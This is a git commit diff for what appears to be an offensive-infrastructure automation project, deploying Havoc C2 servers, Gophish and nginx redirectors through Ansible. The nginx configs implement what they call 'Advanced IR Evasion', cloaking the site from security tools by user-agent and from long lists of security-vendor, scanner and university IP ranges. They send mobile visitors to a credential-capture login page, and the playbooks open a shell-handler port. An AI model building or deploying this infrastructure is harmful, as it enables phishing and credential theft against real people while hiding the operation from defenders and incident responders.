This commit is contained in:
n0mad1k
2025-05-13 08:06:21 -04:00
parent 810cff1171
commit ef75e7a476
5 changed files with 264 additions and 110 deletions
+8 -3
View File
@@ -1276,7 +1276,7 @@ def run_ansible_playbook(playbook, inventory, config, debug=False):
"--extra-vars", "ansible_facts_callback=json" # Get facts in JSON format
]
# Add verbosity if debug mode is enabled - IMPORTANT CHANGE HERE
# Add verbosity if debug mode is enabled
if debug:
cmd.append("-vvv")
# Set ANSIBLE_STDOUT_CALLBACK for human-readable output
@@ -1290,7 +1290,7 @@ def run_ansible_playbook(playbook, inventory, config, debug=False):
else:
logging.info(f"Running Ansible playbook: {playbook}")
# Run the command - MODIFIED TO DISPLAY OUTPUT IN REAL-TIME
# Run the command with enhanced output capture
try:
process = subprocess.Popen(
cmd,
@@ -1310,7 +1310,12 @@ def run_ansible_playbook(playbook, inventory, config, debug=False):
prefix = COLORS['GREEN'] if is_stdout else COLORS['RED']
for line in iter(pipe.readline, ''):
output_list.append(line)
# Only print if debug mode is on or if it's an important message
# Log every line to file regardless of debug mode
if is_stdout:
logging.debug(line.rstrip())
else:
logging.error(line.rstrip())
# Always display in terminal, but use filtering if not in debug mode
if debug or ('TASK' in line or 'PLAY' in line or 'changed=' in line or 'ok=' in line or 'failed=' in line):
print(f"{prefix}{line.rstrip()}{COLORS['RESET']}")
pipe.close()
+1
View File
@@ -20,6 +20,7 @@
- netcat-openbsd
- secure-delete
- jq
- php-fpm
state: present
update_cache: yes
+86 -34
View File
@@ -9,11 +9,10 @@
retries: 5
delay: 5
- name: Install security packages
- name: Install security packages (non-UFW)
apt:
name:
- fail2ban
- ufw
- unattended-upgrades
- debsums
- aide
@@ -25,14 +24,40 @@
retries: 3
delay: 5
- name: Configure UFW default policies
# Skip UFW for AWS, use it for other providers
- name: Determine if using AWS provider
set_fact:
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
# Only install and configure UFW for non-AWS providers
- name: Check if UFW is installed
command: which ufw
register: ufw_check
failed_when: false
changed_when: false
when: not is_aws_provider
- name: Install UFW if not present (non-AWS)
apt:
name: ufw
state: present
update_cache: yes
register: ufw_install
until: ufw_install is success
retries: 3
delay: 5
when: not is_aws_provider and ufw_check.rc != 0
- name: Configure UFW for non-AWS deployments
block:
- name: Configure UFW default policies
ufw:
state: enabled
policy: deny
direction: incoming
ignore_errors: yes
- name: Configure UFW for C2 server
- name: Configure UFW for C2 server
block:
- name: Reset UFW to default deny
ufw:
@@ -68,7 +93,7 @@
- "{{ gophish_admin_port }}"
when: "'c2servers' in group_names"
- name: Configure UFW for redirector
- name: Configure UFW for redirector
block:
- name: Reset UFW to default deny
ufw:
@@ -93,7 +118,63 @@
- "443"
- "{{ shell_handler_port | default('4444') }}"
when: "'redirectors' in group_names"
# Only run UFW block if not AWS and UFW is available/installed
when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success)
# Configure iptables fallback if UFW isn't available (non-AWS only)
- name: Configure basic iptables rules if UFW unavailable
block:
- name: Set up basic iptables rules for C2 server
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow Havoc teamserver from operator
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
# Allow traffic from redirector
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
when: "'c2servers' in group_names"
when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed))
# SSH Hardening - applies to all providers
- name: Harden SSH configuration
lineinfile:
path: /etc/ssh/sshd_config
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
state: present
loop:
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
register: ssh_config_updated
- name: Configure system resource limits
pam_limits:
domain: "*"
limit_type: "{{ item.limit_type }}"
limit_item: "{{ item.limit_item }}"
value: "{{ item.value }}"
loop:
- { limit_type: soft, limit_item: nofile, value: 65535 }
- { limit_type: hard, limit_item: nofile, value: 65535 }
- { limit_type: soft, limit_item: nproc, value: 4096 }
- { limit_type: hard, limit_item: nproc, value: 4096 }
# Set up fail2ban - applies to all providers
- name: Set up fail2ban SSH jail
copy:
dest: /etc/fail2ban/jail.d/sshd.conf
@@ -144,35 +225,6 @@
mode: '0700'
when: zero_logs | default(false) | bool
# SSH Hardening
- name: Harden SSH configuration
lineinfile:
path: /etc/ssh/sshd_config
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
state: present
loop:
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
register: ssh_config_updated
- name: Configure system resource limits
pam_limits:
domain: "*"
limit_type: "{{ item.limit_type }}"
limit_item: "{{ item.limit_item }}"
value: "{{ item.value }}"
loop:
- { limit_type: soft, limit_item: nofile, value: 65535 }
- { limit_type: hard, limit_item: nofile, value: 65535 }
- { limit_type: soft, limit_item: nproc, value: 4096 }
- { limit_type: hard, limit_item: nproc, value: 4096 }
# Service restart handlers
- name: Restart SSH service if configuration changed
service:
+105 -12
View File
@@ -8,16 +8,107 @@ map $http_user_agent $is_security_tool {
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# Example security vendor IP ranges - replace with actual ones
"192.168.1.0/24" 1; # Example placeholder
"10.0.0.0/8" 1; # Example placeholder
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
"104.196.0.0/14" 1;
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
"45.60.0.0/16" 1;
"71.6.0.0/16" 1;
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
@@ -49,22 +140,23 @@ server {
root /var/www/html;
index index.html;
# Advanced IR Evasion
# 1. Redirect security tools to benign sites
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 2. Redirect known security IPs
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 3. Direct mobile users to credential capture
if ($is_mobile) {
return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
@@ -143,6 +235,7 @@ server {
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
+12 -9
View File
@@ -8,9 +8,10 @@ map $http_user_agent $is_security_tool {
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
@@ -139,22 +140,23 @@ server {
root /var/www/html;
index index.html;
# Advanced IR Evasion
# 1. Redirect security tools to benign sites
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 2. Redirect known security IPs
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 3. Direct mobile users to credential capture
if ($is_mobile) {
return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
@@ -233,6 +235,7 @@ server {
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}